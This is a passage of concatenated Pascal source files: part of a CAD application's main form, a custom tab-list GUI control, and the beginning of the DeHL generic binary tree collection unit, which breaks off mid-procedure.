begin
pbtop := round((pbDrawing.Height/2) - (pbDrawing.Canvas.TextHeight(pbtext)));
pbleft := round((pbDrawing.Width/2) - (pbDrawing.Canvas.TextWidth(pbtext)/2));
pbDrawing.Canvas.TextOut(pbleft,pbtop,pbtext);
pbtop := round((pbDrawing.Height/2));
pbleft := round((pbDrawing.Width/2) - (pbDrawing.Canvas.TextWidth(pbtext2)/2));
pbDrawing.Canvas.TextOut(pbleft,pbtop,pbtext2);
end;
procedure TfrmMain.pbDrawingPaint(Sender: TObject);
var sheets: TDaveCADSheetList;
sheet: TDaveCADSheet;
tLastSheet: integer;
startPoint : TPoint;
begin
//Decide what to draw!
case fileState of
//If no file is loaded the show a message to say so.
fsNoFile: pbDrawTextTwoLine(getErrorMessage(DCAD_WARN_NO_FILE),getErrorMessage(DCAD_WARN_NO_FILE_HINT));
//If the file is corrupt, show a warning
fsLoadedInvalid: pbDrawText(getErrorMessage(DCAD_ERROR_FILE_CORRUPT));
//If the file has no sheets, tell the user and recomment that they add one
fsLoadedValidNoSheet: pbDrawTextTwoLine(getErrorMessage(DCAD_WARN_NO_SHEETS), getErrorMessage(DCAD_WARN_NO_SHEETS_HINT));
//Otherwise, the file can be displayed using the current sheet.
fsLoadedValid:begin
//Get all the sheets in the file
sheets := loadedFile.getSheets;
//find the selected sheet
sheet := TDaveCADSheet.create;
sheet.assign(sheets.sheet[loadedFile.Session.SelectedSheet]);
tLastSheet := sheets.lastSheet;
//we don't need sheets any more
sheets.Free;
//if the selected sheet doesn't exist then show a warning, this is nearly impossible
if sheet = nil then begin
pbDrawText(getErrorMessage(DCAD_WARN_INVALID_SHEET_SELECTED));
end else
begin
//here we can actually draw the sheet
sheet.free;
sheet:=TDaveCADSheet.create;
sheet.loadWithObjectFrom(TDOMElement(loadedFile.getDOM.DocumentElement.ChildNodes.Item[tLastSheet]));
renderSheet(sheet, pbDrawing.Canvas, pbDrawing.Width, pbDrawing.Height, loadedFile.Session.scale, point(loadedFile.Session.translateX, loadedFile.Session.translateY));
if assigned(tempObj) then begin
startPoint := getOrigin(sheet, pbDrawing.Width, pbDrawing.Height, loadedFile.Session.scale);
renderObject(tempObj, pbDrawing.Canvas, startPoint.x,startPoint.y, loadedFile.Session.scale, point(loadedFile.Session.translateX, loadedFile.Session.translateY));
tempObj.Free;
tempObj := nil;
end;
sheet.Free;
end;
end;
end;
end;
procedure TfrmMain.sbToolboxResize(Sender: TObject);
begin
pnlToolbox.Width:=max(sbToolbox.Width-4, 90);
end;
procedure TfrmMain.SheetDeleteExecute(Sender: TObject);
begin
if ((fileState = fsLoadedValid) or (fileState = fsLoadedValidNoSheet)) and (loadedFile.hasSheets) then begin
showError(loadedFile.deleteSheet(loadedFile.Session.SelectedSheet));
rescan;
end;
end;
procedure TfrmMain.SheetEditExecute(Sender: TObject);
var sheet: TDaveCADSheet;
sheets: TDaveCADSheetList;
begin
if ((fileState = fsLoadedValid) or (fileState = fsLoadedValidNoSheet)) and (loadedFile.hasSheets) then begin
sheets := loadedFile.getSheets;
sheet := TDaveCADSheet.create;
sheet.assign(sheets.Sheet[loadedFile.Session.SelectedSheet]);
// sheet := sheets.Sheet[loadedFile.Session.SelectedSheet];
sheets.Free;
with frmSheetProps do begin
gbEdit.Caption:= 'Editing sheet in file ' + loadedFile.fileName;
sheetEdit:=sheet.Name;
eName.Text:=sheet.Name;
eAuthor.Text:=sheet.Author;
eDate.Text:=sheet.Date;
cbMedia.ItemIndex:=cbMedia.Items.IndexOf(sheet.Media);
callback:=@frmMain.changeSheetProps;
Show;
end;
sheet.Free;
end;
end;
procedure TfrmMain.changeSheetProps(oldSheetName, newSheetName, newSheetAuthor, newSheetDate, newSheetMedia: string);
var oldSheet: TDaveCADSheet;
allSheets: TDOMNodeList;
i: integer;
begin
oldSheet := TDaveCADSheet.create;
allSheets :=loadedFile.getDOM.GetElementsByTagName('sheet');
for i := 0 to allSheets.Count-1 do begin;
oldSheet.loadFrom(TDOMElement(allSheets.Item[i]));
if oldSheet.Name = oldSheetName then //we have our guy
begin
loadedFile.updateSheetProps(TDomElement(allSheets.Item[i]), newSheetName, newSheetAuthor, newSheetDate, newSheetMedia);
end;
end;
oldSheet.Free;
allSheets.Free;
rescan;
end;
procedure TfrmMain.SheetNewExecute(Sender: TObject);
var sheetName: string;
sheets: TDaveCADSheetList;
begin
//is a valid file loaded?
if (fileState = fsLoadedValid) or (fileState = fsLoadedValidNoSheet) then begin
//decide on the name for the sheet
if loadedFile.hasSheets then begin
//The file has sheets and so "sheet1" might not do it
sheets := loadedFile.getSheets ;
sheetName := 'sheet '+inttostr(sheets.count+1);
sheets.Free;
end else
begin
sheetName := 'sheet1';
end;
//TODO ensure that sheet name is available.
loadedFile.addSheet( sheetName, 'post-it', 'User', '');
loadedFile.Session.SelectedSheet:=sheetName;
fileState:=fsLoadedValid;
rescan;
SelectSheet(sheetName);
end;
end;
//Single handler for each group of toolbox items
procedure TfrmMain.tbEditingToolClick(Sender: TObject);
var i :integer;
begin
//loop through all buttons in the group and deselect each one
for i := 0 to tbEditTool.ButtonCount-1 do begin
tbEditTool.Buttons[i].Down:=false;
end;
//select the one that was clicked
TToolButton(sender).Down:=true;
//Save the tool name
EdittingTool := TToolButton(sender).Tag;
end;
procedure TfrmMain.hintMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
Status.Panels[0].Text := TControl(sender).Hint;
end;
procedure TfrmMain.tbColourClick(Sender: TObject);
var i : integer;
begin
for i := 0 to tbColours.ButtonCount-1 do begin
tbColours.Buttons[i].Down:=false;
end;
TToolButton(sender).Down:=true;
selectedColour := TToolButton(sender).Tag;
end;
//Similar to avove
procedure TfrmMain.tbDrawingToolClick(Sender: TObject);
var i :integer;
begin
for i := 0 to tbDrawingTool.ButtonCount-1 do begin
tbDrawingTool.Buttons[i].Down:=false;
end;
TToolButton(sender).Down:=true;
DrawingTool := TToolButton(sender).Tag;
end;
procedure TfrmMain.tcSheetsChange(Sender: TObject);
begin
//User has selected a new sheet!
loadedFile.Session.SelectedSheet := tcSheets.Tabs.Strings[tcSheets.TabIndex];
//Force redraw with new sheet.
pbDrawing.Invalidate;
end;
procedure TfrmMain.TOpenDialogShow(Sender: TObject);
begin
//If the user was about to save the current file and then canceled, dont open anything new.
if not fileWasSaved then
FileOpen1.Dialog.Close;
end;
procedure TfrmMain.tbZoomChange(Sender: TObject);
begin
if fileState = fsLoadedValid then begin
loadedFile.Session.scale:=tbZoom.Position/100;
lblZoom.Caption:='Zoom: ' + inttostr(round(loadedFile.Session.scale*100)) + '%';
pbDrawing.Invalidate;
end;
end;
procedure TfrmMain.SelectSheet(sheet: string);
begin
//select the right sheet
if tcSheets.Tabs.Count >= 1 then
tcSheets.TabIndex:=tcSheets.Tabs.IndexOf(sheet);
end;
procedure TfrmMain.rescan; //Scans the loaded file for sheets and adds them to the tabcontrol
var sheets: TDaveCadSheetList;
i: integer;
mname: string;
sheet: TDaveCADSheet;
begin
//If a valid file is loaded
if fileState = fsLoadedValid then begin
//clear all old sheets
tcSheets.Tabs.Clear;
//if the file has no longer got any sheets...
if not loadedFile.hasSheets then begin
//set the state to no sheets
fileState := fsLoadedValidNoSheet;
end else
begin
//Otherwise, show all sheets
//Get all sheets from that file
sheets := loadedFile.getSheets;
//Loop through all sheets
for i := 0 to sheets.count-1 do begin
//add them to the tabs
sheet:= sheets.Item[i];
mname := sheet.Name;
tcSheets.Tabs.Add(mname);
end;
sheets.Free;
end;
end;
//This should be avoided somehow...
//If we can't find the selected sheet...
if tcSheets.Tabs.IndexOf(loadedFile.Session.SelectedSheet) = -1 then begin
//but we do have a selection of sheets available in the tabs...
if tcSheets.Tabs.Count >= 1 then begin
//set the selected sheet to the first tab!
loadedFile.Session.SelectedSheet:=tcSheets.Tabs.Strings[0];
end else
begin
//if we don't have any tabs, clear it.
loadedFile.Session.SelectedSheet:='';
end;
end;
//force redraw
pbDrawing.Invalidate;
end;
end.
|
unit tablist;
{$mode delphi}
interface
uses
Classes, SysUtils,controls,ExtCtrls,graphics, math;
type
TTabChangeEvent=procedure(sender: TObject; oldselection: integer) of object;
TTabCreateDestroyEvent=procedure(sender: TObject; tabIndex: integer) of object;
TTablist=class;
TControlWithArrows=class(TCustomControl)
private
tablist: TTablist;
protected
procedure MouseDown(Button: TMouseButton; Shift:TShiftState; X,Y:Integer); override;
public
leftArrowActive: boolean;
rightArrowActive: boolean;
arrowWidth: integer;
procedure Paint; override;
end;
TTablist=class(TCustomControl)
private
fTabs: tstringlist;
fmintabWidth: integer;
fselectedTab: integer;
fOnTabChange: TTabChangeEvent;
fOnTabCreate: TTabCreateDestroyEvent;
fOnTabDestroy: TTabCreateDestroyEvent;
offset: integer; //defines how many tabs must be shifted to the left
controlWithArrows: TControlWithArrows;
function getTabWidth(i: integer): integer;
function getTabXPos(i: integer): integer;
procedure setSelectedTab(i: integer);
function getTabData(i: integer):pointer;
procedure setTabData(i: integer; p: pointer);
function getCount: integer;
function getTabText(i: integer): string;
procedure setTabText(i: integer; s: string);
procedure setCurrentTabData(data: pointer);
function getCurrentTabData: pointer;
protected
procedure MouseDown(Button: TMouseButton; Shift:TShiftState; X,Y:Integer); override;
public
function AddTab(t: string):integer;
function GetTabIndexAt(x,y: integer): integer;
procedure RemoveTab(i: integer);
procedure MoveTabLeft(i: integer);
procedure MoveTabRight(i: integer);
procedure goLeft();
procedure goRight();
procedure Paint; override;
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
property TabData[Index: Integer]: pointer read getTabData write setTabData;
property CurrentTabData: pointer read getCurrentTabData write setCurrentTabData;
published
property MinTabWidth: integer read fMinTabWidth write fMinTabWidth;
property SelectedTab: integer read fSelectedTab write setSelectedTab;
property TabText[Index: Integer]: string read getTabText write setTabText;
property Count: integer read getCount;
property OnTabChange: TTabChangeEvent read fOnTabChange write fOnTabChange;
property OnTabCreate: TTabCreateDestroyEvent read fOnTabCreate write fOnTabCreate;
property OnTabDestroy: TTabCreateDestroyEvent read fOnTabDestroy write fOnTabDestroy;
end;
implementation
uses betterControls;
function TTablist.getTabText(i: integer): string;
begin
result:=fTabs[i];
end;
procedure TTablist.setTabText(i: integer; s: string);
begin
fTabs[i]:=s;
invalidate;
repaint;
end;
function TTablist.getCount: integer;
begin
result:=fTabs.count;
end;
function TTablist.getTabData(i: integer):pointer;
begin
result:=nil;
if (i<0) or (i>=fTabs.count) then
begin
exit;
end;
result:=ftabs.Objects[i];
end;
procedure TTablist.setTabData(i: integer; p: pointer);
begin
if (i<0) or (i>=fTabs.count) then
begin
exit;
end;
ftabs.Objects[i]:=p;
end;
procedure TTablist.setCurrentTabData(data: pointer);
begin
setTabData(fselectedTab, data);
end;
function TTablist.getCurrentTabData: pointer;
begin
result:=getTabData(fselectedTab);
end;
procedure TTablist.setSelectedTab(i: integer);
var old: integer;
begin
if fselectedTab>=Count then raise exception.create('Tablist: Invalid tab selected');
old:=fSelectedTab;
fSelectedTab:=i;
invalidate;
repaint;
if (old<>fSelectedTab) and (assigned(fOnTabChange)) then
fOnTabChange(self,old);
end;
function TTablist.getTabXPos(i: integer): integer;
var j: integer;
begin
result:=0;
for j:=0 to i-1 do
inc(result, getTabWidth(j));
end;
function TTablist.GetTabIndexAt(x,y: integer): integer;
{
Returns the index of the tab at position x,y
If no tab, return -1
}
var
i: integer;
startx, stopx: integer;
begin
result:=-1;
startx:=0;
for i:=offset to fTabs.Count-1 do
begin
stopx:=startx+getTabWidth(i);
if InRange(x, startx, stopx) then exit(i);
startx:=stopx;
end;
end;
procedure TTablist.MouseDown(Button: TMouseButton; Shift:TShiftState; X,Y:Integer);
var i: integer;
begin
i:=GetTabIndexAt(x,y);
if i<>-1 then
selectedTab:=i;
inherited MouseDown(button,shift,x,y);
end;
procedure TTablist.MoveTabLeft(i: integer);
var currenttab: pointer;
begin
if i>0 then
begin
if fselectedTab=i then
fselectedTab:=i-1
else
if fselectedTab=i-1 then
fselectedTab:=i;
fTabs.Move(i,i-1);
invalidate;
repaint;
end;
end;
procedure TTablist.MoveTabRight(i: integer);
begin
if i<ftabs.count-1 then
begin
if fselectedTab=i then
fselectedTab:=i+1
else
if fselectedTab=i+1 then
fselectedTab:=i;
fTabs.Move(i,i+1);
invalidate;
repaint;
end;
end;
procedure TTablist.RemoveTab(i: integer);
{
Assuming that the tabdata is already freed
}
var j: integer;
begin
if assigned(fOnTabDestroy) then
fOnTabDestroy(self, i);
ftabs.Delete(i);
//do a tabswitch without calling the onchange
if fselectedTab=i then //if for some reason the current tab was deleted
fselectedtab:=-1
else
begin
if fselectedtab>i then
fselectedtab:=fselectedtab-1;
end;
invalidate;
repaint;
end;
function TTablist.AddTab(t: string): integer;
begin
fTabs.Add(t.QuotedString(' '));
result:=ftabs.count-1;
if assigned(fOnTabCreate) then
fOnTabCreate(self, result);
invalidate;
repaint;
end;
function TTabList.GetTabWidth(i: integer): integer;
begin
result:=max(fmintabWidth, canvas.GetTextWidth(fTabs[i])+8);
end;
procedure TTablist.Paint;
var
i,j: integer;
gradientColor: Tcolor;
oldstyle: TBrushStyle;
tabwidth: integer;
lastx: integer;
selectedx: integer;
gradientStart: TColor;
begin
inherited Paint;
selectedx:=0;
lastx:=0;
if ShouldAppsUseDarkMode then
gradientStart:=$222222
else
gradientStart:=$ffffff;
canvas.brush.color:=color;
canvas.pen.color:=color;
canvas.brush.style:=bsSolid;
canvas.FillRect(ClientRect);
//create a total of 'fTabs.count' tabs
for j:=offset to fTabs.count-1 do
begin
i:=j-offset;
tabwidth:=GetTabWidth(j);
if j=fselectedTab then
begin
selectedx:=lastx;
gradientColor:=color;
end
else
begin
if ShouldAppsUseDarkMode then
gradientColor:=$444444
else
gradientColor:=$d0d0d0;
end;
if ShouldAppsUseDarkMode then
Canvas.Pen.Color:=$505050
else
Canvas.Pen.Color:=$a0a0a0;
canvas.Rectangle(lastx,0,lastx+tabWidth,height);
Canvas.GradientFill(rect(lastx+1,1,lastx+tabwidth-1,height-1),gradientStart,gradientColor, gdVertical);
oldstyle:=canvas.Brush.Style;
canvas.Brush.Style:=bsClear;
Canvas.TextRect(rect(lastx, 0, lastx+tabWidth,height),lastx+((tabwidth div 2) - (canvas.TextWidth(ftabs[j]) div 2)),(height div 2)-(canvas.TextHeight(ftabs[j]) div 2),fTabs[j]);
canvas.Brush.Style:=OldStyle;
inc(lastx, tabwidth);
end;
if ShouldAppsUseDarkMode then
canvas.Pen.Color:=$303030
else
canvas.Pen.Color:=$808080;
canvas.Line(0,height-1,width,height-1);
canvas.Pen.Color:=color;
if fselectedTab>=offset then Canvas.Line(selectedx,height-1,selectedx+getTabWidth(fselectedTab),height-1);
if (offset>0) or (lastx>width) then //if there are more tabs than visible
begin
if controlWithArrows.Parent<>self.Parent then // ensure parent is the same
begin // (in case user decides to move tablist control)
controlWithArrows.Parent:=self.Parent;
controlWithArrows.arrowWidth:=(height div 6) * 5;
controlWithArrows.Width:=controlWithArrows.arrowWidth*2+2;
controlWithArrows.Height:=height;
if self.Top<height then // check if there is room for it
begin
controlWithArrows.AnchorSideBottom.Side:=asrBottom;
controlWithArrows.BorderSpacing.Right:=0;
end;
controlWithArrows.Invalidate;
end;
controlWithArrows.Visible:=true;
if lastx>width then
controlWithArrows.rightArrowActive:=true
else
controlWithArrows.rightArrowActive:=false;
if (offset>0) then //can you scroll to the left
controlWithArrows.leftArrowActive:=true
else
controlWithArrows.leftArrowActive:=false;
controlWithArrows.Repaint
end
else
controlWithArrows.Visible:=false;
end;
procedure TTablist.goLeft();
var i: integer;
begin
//check if you can go left
i:=ftabs.count-1;
if getTabXPos(i-offset)+getTabWidth(i)>width then
inc(offset);
Repaint;
end;
procedure TTablist.goRight();
begin
if offset>0 then
dec(offset);
Repaint;
end;
constructor TTablist.Create(AOwner: TComponent);
begin
Inherited create(AOwner);
fselectedTab:=0;
fTabs:=TStringlist.create;
fMinTabWidth:=80;
controlWithArrows:=TControlWithArrows.Create(self);
controlWithArrows.Visible:=false;
controlWithArrows.tablist:=self;
controlWithArrows.Anchors:=[akBottom,akRight];
controlWithArrows.AnchorSideBottom.Control:=Self;
controlWithArrows.AnchorSideBottom.Side:=asrTop;
controlWithArrows.AnchorSideRight.Control:=Self;
controlWithArrows.AnchorSideRight.Side:=asrRight;
controlWithArrows.BorderSpacing.Right:=10;
end;
destructor TTablist.Destroy;
begin
if fTabs<>nil then
ftabs.free;
inherited Destroy;
end;
procedure TControlWithArrows.Paint;
begin
inherited Paint;
if rightArrowActive then
begin
canvas.Pen.Color:=clred;
canvas.Brush.color:=clblue;
end
else
begin
Canvas.pen.color:=clInactiveBorder;
Canvas.brush.color:=clInactiveCaption;
end;
canvas.Polygon([point(Width-arrowWidth, 2), point(Width-arrowWidth, Height-2), point(Width-1, (Height div 2))]);
if leftArrowActive then
begin
canvas.Pen.Color:=clred;
canvas.Brush.color:=clblue;
end
else
begin
Canvas.pen.color:=clInactiveBorder;
Canvas.brush.color:=clInactiveCaption;
end;
canvas.Polygon([point(Width-(arrowWidth+2), 2), point(Width-(arrowWidth+2), Height-2), point(Width-(arrowWidth*2+2), (Height div 2))]);
canvas.Pen.Color:=$808080;
canvas.Line(0,height-1,0,1);
canvas.LineTo(width-1,1);
canvas.LineTo(width-1,height-1);
end;
procedure TControlWithArrows.MouseDown(Button: TMouseButton; Shift:TShiftState; X,Y:Integer);
begin
//clicked on an arrow
if x>Width-arrowWidth-1 then
tablist.goLeft()
else
tablist.goRight();
end;
end.
|
(*
* Copyright (c) 2008-2009, Lucian Bentea
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the <organization> nor the
* names of its contributors may be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ''AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*)
{$I ../DeHL.Defines.inc}
unit DeHL.Collections.BinaryTree;
interface
uses SysUtils,
DeHL.Base,
DeHL.Types,
DeHL.Exceptions,
DeHL.Collections.Base,
DeHL.Arrays,
DeHL.Collections.List;
type
{ Forward declaration }
TBinaryTree<T> = class;
{ Generic Binary Tree Node }
TBinaryTreeNode<T> = class sealed(TSimpleObject)
private
FRemoved: Boolean;
FData: T;
FLeft,
FRight, FParent: TBinaryTreeNode<T>;
FBinaryTree: TBinaryTree<T>;
function IsAPartOf(const BinaryTree: TBinaryTree<T>): Boolean;
public
{ Constructors }
constructor Create(const Value: T; const ATree: TBinaryTree<T>);
{ Destructors }
destructor Destroy(); override;
{ Properties }
property Value: T read FData write FData;
property Left: TBinaryTreeNode<T> read FLeft;
property Right: TBinaryTreeNode<T> read FRight;
property Parent: TBinaryTreeNode<T> read FParent;
property BinaryTree: TBinaryTree<T> read FBinaryTree;
end;
{ Generic Binary Tree }
TBinaryTree<T> = class(TEnexCollection<T>)
private
type
{ Generic Binary Tree Enumerator (uses post-order traversal)}
TEnumerator = class(TEnumerator<T>)
private
FVer: NativeUInt;
FBinaryTree: TBinaryTree<T>;
FCurrentIndex: NativeUInt;
FTraverseArray: TFixedArray<T>;
public
{ Constructor }
constructor Create(const ATree: TBinaryTree<T>);
{ Destructor }
destructor Destroy(); override;
function GetCurrent(): T; override;
function MoveNext(): Boolean; override;
end;
var
FRoot: TBinaryTreeNode<T>;
FCount: NativeUInt;
FVer: NativeUInt;
procedure RecFind(const ARefNode: TBinaryTreeNode<T>; const AValue: T; var Node: TBinaryTreeNode<T>);
procedure CopyTree(var ASrcNode, ADestNode: TBinaryTreeNode<T>);
procedure CopyToArray(var AArray: array of T; var Index: NativeInt; const ARefNode: TBinaryTreeNode<T>);
{ Pre/Post/In order listing }
procedure PreOrderSearchArray(const ARefNode: TBinaryTreeNode<T>; var AArray: TDynamicArray<T>);
procedure InOrderSearchArray(const ARefNode: TBinaryTreeNode<T>; var AArray: TDynamicArray<T>);
procedure PostOrderSearchArray(const ARefNode: TBinaryTreeNode<T>; var AArray: TDynamicArray<T>);
protected
{ Hidden ICollection support }
function GetCount(): NativeUInt; override;
public
{ Constructors }
constructor Create(const AValue: T); overload;
constructor Create(const ATree: TBinaryTree<T>); overload;
constructor Create(const AType: IType<T>; const AValue: T); overload;
constructor Create(const AType: IType<T>; const ATree: TBinaryTree<T>); overload;
{ Destructors }
destructor Destroy(); override;
{ Adds a left child to ARefNode }
procedure AddLeft(const ARefNode: TBinaryTreeNode<T>; const AValue: T); overload;
procedure AddLeft(const ARefNode: TBinaryTreeNode<T>; const ANode: TBinaryTreeNode<T>); overload;
{ Adds a right child to ARefNode }
procedure AddRight(const ARefNode: TBinaryTreeNode<T>; const AValue: T); overload;
procedure AddRight(const ARefNode: TBinaryTreeNode<T>; const ANode: TBinaryTreeNode<T>); overload;
{ Removing }
procedure Clear();
{ looks for AValue, remove it, and all its subtree }
procedure Remove(const AValue: T); overload;
{ remove ARefNode and its subtree }
procedure Remove(const ARefNode: TBinaryTreeNode<T>); overload;
{ Lookup }
function Contains(const AValue: T): Boolean;
function Find(const AValue: T): TBinaryTreeNode<T>;
{ Properties }
property Count: NativeUInt read FCount;
property Root: TBinaryTreeNode<T> read FRoot;
{ Copy to array support (it traverses the tree in post-order when copying the elements) }
procedure CopyTo(var AArray: array of T); overload; override;
procedure CopyTo(var AArray: array of T; const StartIndex: NativeUInt); overload; override;
{ Traverse the tree in various orders}
function PreOrder(): TFixedArray<T>;
function InOrder(): TFixedArray<T>;
function PostOrder(): TFixedArray<T>;
{ used in "for I in Tree" blocks }
function GetEnumerator(): IEnumerator<T>; override;
{ Enex Overrides }
function Empty(): Boolean; override;
end;
{ The object variant }
TObjectBinaryTree<T: class> = class(TBinaryTree<T>)
private
FWrapperType: TObjectWrapperType<T>;
{ Getters/Setters for OwnsObjects }
function GetOwnsObjects: Boolean;
procedure SetOwnsObjects(const Value: Boolean);
protected
{ Override in descendants to support proper stuff }
procedure InstallType(const AType: IType<T>); override;
public
{ Object owning }
property OwnsObjects: Boolean read GetOwnsObjects write SetOwnsObjects;
end;
implementation
{ TBinaryTree<T> }
procedure TBinaryTree<T>.AddLeft(const ARefNode, ANode: TBinaryTreeNode<T>);
begin
if ARefNode = nil then
ExceptionHelper.Throw_ArgumentNilError('ARefNode');
if ANode = nil then
ExceptionHelper.Throw_ArgumentNilError('ANode');
if ARefNode.FBinaryTree <> Self then
ExceptionHelper.Throw_ElementNotPartOfCollectionError('ARefNode');
if ANode.FBinaryTree <> Self then
ExceptionHelper.Throw_ElementAlreadyPartOfCollectionError('ANode');
if ANode.IsAPartOf(Self) then
ExceptionHelper.Throw_ElementAlreadyPartOfCollectionError('ANode');
if ARefNode.FLeft <> nil then
ExceptionHelper.Throw_PositionOccupiedError();
ANode.FBinaryTree := Self;
ANode.FParent := ARefNode;
ARefNode.FLeft := ANode;
Inc(FCount);
Inc(FVer);
end;
procedure TBinaryTree<T>.AddLeft(const ARefNode: TBinaryTreeNode<T>; const AValue: T);
begin
AddLeft(ARefNode, TBinaryTreeNode<T>.Create(AValue, Self));
end;
procedure TBinaryTree<T>.AddRight(const ARefNode, ANode: TBinaryTreeNode<T>);
begin
if ARefNode = nil then
ExceptionHelper.Throw_ArgumentNilError('ARefNode');
if ANode = nil then
ExceptionHelper.Throw_ArgumentNilError('ANode');
if ARefNode.FBinaryTree <> Self then
ExceptionHelper.Throw_ElementNotPartOfCollectionError('ARefNode');
if ANode.FBinaryTree <> Self then
ExceptionHelper.Throw_ElementAlreadyPartOfCollectionError('ANode');
if ANode.IsAPartOf(Self) then
ExceptionHelper.Throw_ElementAlreadyPartOfCollectionError('ANode');
if ARefNode.FRight <> nil then
ExceptionHelper.Throw_PositionOccupiedError();
ANode.FBinaryTree := Self;
ANode.FParent := ARefNode;
ARefNode.FRight := ANode;
Inc(FCount);
Inc(FVer);
end;
procedure TBinaryTree<T>.AddRight(const ARefNode: TBinaryTreeNode<T>; const AValue: T);
begin
AddRight(ARefNode, TBinaryTreeNode<T>.Create(AValue, Self));
end;
procedure TBinaryTree<T>.Clear;
begin
if (FRoot <> nil) then
begin
FRoot.Free;
FRoot := nil;
Inc(FVer);
end;
end;
function TBinaryTree<T>.Contains(const AValue: T): Boolean;
begin
{ Simply re-route }
Result := (Find(AValue) <> nil);
end;
procedure TBinaryTree<T>.CopyTree(var ASrcNode, ADestNode: TBinaryTreeNode<T>);
var
tmp: TBinaryTreeNode<T>;
begin
if (ASrcNode.FLeft <> nil) then
begin
tmp := TBinaryTreeNode<T>.Create(ASrcNode.FLeft.FData, Self);
tmp.FParent := ADestNode;
ADestNode.FLeft := tmp;
Inc(FCount);
CopyTree(ASrcNode.FLeft, ADestNode.FLeft);
end;
if (ASrcNode.FRight <> nil) then
begin
tmp := TBinaryTreeNode<T>.Create(ASrcNode.FRight.FData, SElf);
tmp.FParent := ADestNode;
ADestNode.FRight := tmp;
Inc(FCount);
CopyTree(ASrcNode.FRight, ADestNode.FRight);
end;
end;
procedure TBinaryTree<T>.CopyTo(var AArray: array of T; const StartIndex: NativeUInt);
var
Index: NativeInt;
begin
if StartIndex >= NativeUInt(Length(AArray)) then
ExceptionHelper.Throw_ArgumentOutOfRangeError('StartIndex');
{ Check for indexes }
if (NativeUInt(Length(AArray)) - StartIndex) < FCount then
ExceptionHelper.Throw_ArgumentOutOfSpaceError('AArray');
{ Copy from tree to array }
Index := StartIndex;
CopyToArray(AArray, Index, FRoot);
end;
procedure TBinaryTree<T>.CopyToArray(var AArray: array of T; var Index: NativeInt; const ARefNode: TBinaryTreeNode<T>);
begin
if (ARefNode.Left <> nil) then
CopyToArray(AArray, Index, ARefNode.Left);
if (ARefNode.Right <> nil) then
CopyToArray(AArray, Index, ARefNode.Right);
AArray[Index] := ARefNode.FData;
Inc(Index);
end;
procedure TBinaryTree<T>.CopyTo(var AArray: array of T);
begin
{ Call the more generic copy to }
CopyTo(AArray, 0);
end;
constructor TBinaryTree<T>.Create(const AType: IType<T>; const AValue: T);
begin
{ Initialize instance }
if (AType = nil) then
ExceptionHelper.Throw_ArgumentNilError('AType');
InstallType(AType);
FRoot := TBinaryTreeNode<T>.Create(AValue, Self);
FCount := 1;
FVer := 0;
end;
constructor TBinaryTree<T>.Create(const AValue: T);
begin
Create(TType<T>.Default, AValue);
end;
constructor TBinaryTree<T>.Create(const AType: IType<T>; const ATree: TBinaryTree<T>);
begin
if (ATree = nil) then
ExceptionHelper.Throw_ArgumentNilError('ATree');
Create(AType, ATree.FRoot.FData);
{ Try to copy the given tree }
CopyTree(ATree.FRoot, FRoot);
end;
constructor TBinaryTree<T>.Create(const ATree: TBinaryTree<T>);
begin
Create(TType<T>.Default, ATree);
end;
destructor TBinaryTree<T>.Destroy;
begin
{ Clear the tree first }
Clear();
inherited;
end;
function TBinaryTree<T>.Empty: Boolean;
begin
Result := (FCount = 0);
end;
function TBinaryTree<T>.Find(const AValue: T): TBinaryTreeNode<T>;
var
tmp: TBinaryTreeNode<T>;
begin
tmp := nil;
RecFind(Self.FRoot, AValue, tmp);
Result := tmp;
end;
function TBinaryTree<T>.GetCount: NativeUInt;
begin
Result := FCount;
end;
function TBinaryTree<T>.GetEnumerator: IEnumerator<T>;
begin
Result := TEnumerator.Create(Self);
end;
function TBinaryTree<T>.InOrder: TFixedArray<T>;
var
Arr: TDynamicArray<T>;
begin
InOrderSearchArray(FRoot, Arr);
Result := Arr.ToFixedArray();
end;
procedure TBinaryTree<T>.InOrderSearchArray(const ARefNode: TBinaryTreeNode<T>;
var AArray: TDynamicArray<T>);
begin
if (ARefNode.Left <> nil) then
InOrderSearchArray(ARefNode.Left, AArray);
AArray.Append(ARefNode.FData);
if (ARefNode.Right <> nil) then
InOrderSearchArray(ARefNode.Right, AArray);
end;
function TBinaryTree<T>.PostOrder: TFixedArray<T>;
var
Arr: TDynamicArray<T>;
begin
PostOrderSearchArray(FRoot, Arr);
Result := Arr.ToFixedArray();
end;
procedure TBinaryTree<T>.PostOrderSearchArray(
const ARefNode: TBinaryTreeNode<T>; var AArray: TDynamicArray<T>);
begin
if (ARefNode.Left <> nil) then
PostOrderSearchArray(ARefNode.Left, AArray);
if (ARefNode.Right <> nil) then
PostOrderSearchArray(ARefNode.Right, AArray);
AArray.Append(ARefNode.FData);
end;
function TBinaryTree<T>.PreOrder: TFixedArray<T>;
var
Arr: TDynamicArray<T>;
begin
PreOrderSearchArray(FRoot, Arr);
Result := Arr.ToFixedArray();
end;
procedure TBinaryTree<T>.PreOrderSearchArray(const ARefNode: TBinaryTreeNode<T>;
var AArray: TDynamicArray<T>);
begin
AArray.Append(ARefNode.FData);
if (ARefNode.Left <> nil) then
